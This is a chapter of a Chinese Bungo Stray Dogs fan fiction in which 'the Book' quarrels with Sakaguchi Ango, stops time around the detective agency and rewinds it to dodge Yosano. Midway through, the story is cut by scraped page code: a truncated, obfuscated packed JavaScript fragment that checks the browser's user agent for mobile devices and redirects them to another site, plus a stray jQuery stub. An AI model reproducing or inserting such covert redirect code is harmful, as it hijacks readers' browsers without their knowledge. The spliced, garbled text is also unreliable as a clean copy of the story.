12. 你管我是人是兽是工具!

作品:《“书”想和太宰谈恋爱

    坂口安吾:“工具不会怕死。”


    书:“我又不怕死。”


    坂口安吾:“你知道我的意思,别心口不一。太苦,你听着,这之后的话,都是我思考了很久后,用很认真的语气告诉你的。”


    “你不是工具,你之所以会这么定义自己,大概是因为自己确实会被使用、会被争夺,所以你先入为主,认为你该是这样的,你不能这么想。”


    “太苦,工具没有感情,你有。”


    “太苦,工具没有思维,你有。”


    “太苦,工具没有表达自我的能力,你有。”


    “太苦,工具是死物,你不是。”


    “太苦,工具是可使用的,你不是。”


    “太苦,工具是有固定程序的,你不是。”


    “还有,太苦,工具是不会主动靠近别人的。”


    “比起工具或者人来说,你现在更像是一头野兽,终于自我至上,很多时候,你会觉得事情很麻烦、人很麻烦,在不知不觉间毁坏了一切。你拥有七岁孩子左右的智商,却没有孩子的人性。你拥有本能,非善恶,只是纯粹的为活着而活着……巴拉巴拉……巴拉……”


    太苦我感觉自己在上一节哲学课,什么也没听懂,脑子像被迷雾笼罩着,让人跟着迷迷糊糊。


    什么什么什么什么?


    坂口安吾:掏心掏肺喂了狗。


    声音在空中飘忽了半天,太苦我只听进去几个字。


    ——太苦,你不是工具,也不是人,你是兽。


    太苦我:“……”


    “我成畜牲了?”


    他翻白眼,语气轻松地打断坂口安吾的话,“你好烦,我不想听你说的话,我想太宰了,你说我什么时候能看到他?”


    “两年的时间为什么这么长,他的洗白期怎么还没过啊——”


    太苦我懒散地拉长调子,松开抱膝的动作,整个人躺倒在地上,眼神飘得悠远,语气里的怀念upupup!


    秋天的地面很凉,寒意爬进头发,头皮一阵酸爽。


    这一番主题的转换,打得对面措手不及。


    “什么?”他下意识脱口而出,愣了下,才后知后觉反应过来,“你是因为他所以要去侦探社的!”


    “对啊。”太苦我答得轻松。


    “我去。”


    “你刚刚是不是在说脏话?”太苦我将手机捧到脸前。


    “没有,”坂口安吾沉默会儿,“我大概知道了一件很大的事。”


    他的语气严肃又犹疑,带着浅浅的僵硬。


    “你……”


    他想告诉他些什么,比如,不要去喜欢太宰,不会得到好下场的。在感情上,他不会给你任何回应;在行动上,他只会给你带来无尽的折磨;在他的世界里,不会出现一个强大且会觊觎他的人,而在你的世界里,他不会主动伸手,


    最重要的一点。


    在两人的身份上,就已经表明了相斥性。


    他们不适合,两人仅仅只是接触就会砰发特异点,仅仅是一个特异点就能让太宰治的CPU爆炸,更谈何深入交流。


    不行,不行,不行,


    来自娘家人的否定(划掉)。


    “干嘛,要说快说。”等了半天,手机里头的社畜像是陷入深睡,半天没有动作和声音,“喂,喂,你卡了?”


    喊两声,那边还是没有动静。


    太苦我不等他了,他决定自己冷静冷静。


    身体一松,脑袋也松弛,呈大字型睡地上。


    莹白色的眼珠子失去聚焦,空洞的望着天花板,里面没有映照出环境的盛大,也没有光点的反射。


    “螃蟹很好吃吗?”他自说,“你怎么一直在吃。”


    对面的坂口安吾完全无法理解他在干什么,缓过劲儿,他放弃和这个人沟通,只想快点挂断电话,与他断联。


    “你那边是什么状况?”


    没有回应。


    “太苦,你那边怎么了?”


    沉默


    “太苦?”


    安静。


    “……喂。”


    “……”


    太苦我回神,不高兴,“干什么,终于知道帮我忙了,早又不理我……哼,我们在侦探社呢,与谢野晶子要杀我,时间停止之前,那把大砍刀差点把我坚硬的脑壳打碎,现在她在空中飞,国木田正准备冲过来救我。”


    “在这之前你有使用过其他能力吗?”坂口安吾吸溜一口水。


    “长长指甲算吗?”询问。


    坂口安吾:“我知道的不算。”


    太苦我:“那我一个不小心,带乱步一起去看盘古开天算吗?”


    坂口安吾:“啊?”


    “你背着我都做了什么,你有听进去我的话吗,禁止使用能力,不是不让你用那一天的能力,而是所有能力都不能用!”他快要被他整疯,世界基石怎么能“呆”到那个地步,简直和蠢东西没差,离傻*也只剩一条小小的缝隙,


    “你听到了没!”


    自从遇见“书”开始,坂口安吾的脾气一天比一天稳定。


    稳定的生气。


    发际线好像都在往上跑,一摸额头凉凉的。


    “哦,行吧。”太苦我撇嘴。


    在同一片日照下,他们分处不同地方。


    这边的他世界安静,那边的安吾周边嘈杂,要带耳塞。


    坂口安吾叹气,忽然发现手里邮箱传出下属的一条信息,是常年可以和他说话当同事。


    [**区静默,在靠近**一带的地方,所有东西都停止运行,靠近的活体也会在瞬间失去行动力,可能是异能力的影响,已持续十二分钟,现已疏散所有人员,请远离。


    ——秋刀鱼en]


    原来他们才聊了短短十二分钟,他还以为过去一年。


    不对,重点错了!


    “喂,你把范围扩散了多大啊,”坂口安吾心累,“我这边预警都出来了。”


    “嗯?”


    他的哼气带着茫然。


    书君果然讨人厌,哪怕什么都不做,仅一人站在那里,就足以将他的怒火牵扯出来。


    坂口安吾耐着性子告诉他:“你已经彻底进入官方的视线。”


    “为什么?”


    你还给我为什么?用能力的时候怎么不问问自己为什么。


    “以你为中心,半径500米已经陷入‘世界末日’,目测还可以扩大,他们发现了这一点,准备把你拉拢过去,”坂口安吾起身走到窗帘边,一把拉开漆黑的帘子,白刺刺的光芒照耀,冲进整间屋子,“快停了你的神通,如果你想和我做同事就不用收手,我倒是很欢迎你来到异能特务科。”


    “才不要,”太苦我双手后撑,挺起上半身,“我才不想看到你惨兮兮的脸色,我就要呆在这儿,这儿好多了。”


    我就要待在这儿等太宰。


    在无知无觉中,他似乎已经忘记了最开始的想法,他只是想找到那个发觉他身份的人,本来只是想找到他,威胁他不说出去,然后美美睡个好觉,什么都不用理睬。


    谁让他给了他一簇火呢。


    或许就是那小到不足巴掌大的火苗、大到能烧半边山的火炽,开启了这段长久的孽缘。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250969|197935||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >坂口安吾从窗口遥遥望着侦探社的方向,那边很寂静。


    虫鱼鸟兽皆停,他们像是隔绝在世界之外,很多人围着边缘看,也有不少人被控制在边缘处,动弹不得。


    “既然你叫什么都不愿意,只肯固执地走自己的路,那么,”他语气平淡,并不带情绪,只是简单地说出解决办法,


    “就用你的能力,回到过去,重来一遍。”


    太苦我猛的蹦起来,“原来还能这样!”


    双手一拍,时间宛若数据,倒流而去。


    重来一次!


    ……


    “这里面是与谢野医生,她平时会在里面研究新医学。”国木田独步站在门边,伸手敲了敲。


    “扣扣、”


    太苦我双手抱胸,眼神放空。


    回神,他迅速上前冲,伸手牢牢扣门。


    国木田:“?”


    “怎么了?”眼镜少年疑惑,他不解的说。


    “这门不能开。”太苦我说的决绝。


    他死死的抓着门把手,手臂暴起青筋,逸散出的能力控制门边小块地方,将那里固化成了一块坚不可摧的铁。


    左腿叠着右腿靠住门框,出不去、进不来。


    国木田独步伸手想劝,“与谢野医生并不喜欢别人堵她的门,而且还是自己被叫出来的时候被堵门,你要不还是放开吧?”


    “不行。”太苦我冷漠脸。


    放手的结果不是你担待得起的。


    “但是,如果一直这样,前辈他会用斧头砸门,”还是很凶横的把门砸穿的那种。这句话还没说完,那面就传来轰隆的砰砰响。


    “砰!”


    “砰!!”


    “砰!!!”


    平坦的铁门冒出一块块凸起,接连不断的撞击。


    太苦我的身体被惯性突突,一震又一震,他缩起下巴,眼睛映出破开铁门的斧头的倒影。


    它并不尖锐,相反,是一柄钝器。


    门的铁块冒出弯钩,与谢野晶子的暗沉沉的眼睛再一次出现在黝黑的缝隙之中,太苦我瞬间松手向后一跳,腾空而起,双手合十,正对着她。


    拍掌。


    “啪!”


    重来一次!


    ……


    国木田独步将勺子落下,瓷勺在盘子上发出哒的一声,他转头,眼神里的情绪平缓下去,不再被这个“鬼先生”吓到。


    他看着他的眼睛,说:“走吧,我带你介绍一下武装侦探社。”


    “不行。”太苦我双手在胸前交叉。


    “我不想再来一遍。”


    他现在很讨厌与谢野晶子,实在不想见面。


    “什么再来一遍?”国木田独步不明所以的歪头询问,他困惑的皱眉,眼睛也跟着挤到一起,“太苦君,你是饿迷糊了吗?”


    接着,他像是明白了什么似的,恍然大悟。


    “我就知道,乱步先生说你今天早上什么也没吃,你现在中午又不吃饭,一定很不舒服吧?”国木田独步连忙冲着师傅大喊一声,


    “麻烦再上一份土豆牛腩咖喱。”


    “好~!”


    接着转回脑袋:“再等一会儿吧,吃饱饭很重要,一日三餐是必须纳入人类生存的计划,就像是起床必须刷牙一样,只要这么做,心中所期待的理想终点就会到达、就会实现。”


    说着,他燃起来,双手比划在身前,攥拳。


    “只要这么做下去,努力就能得到回报,理想就会成为现实。”


    太苦我:“……”


    我到底,为什么要坐在这里听你聊你赖以生存的“理想”?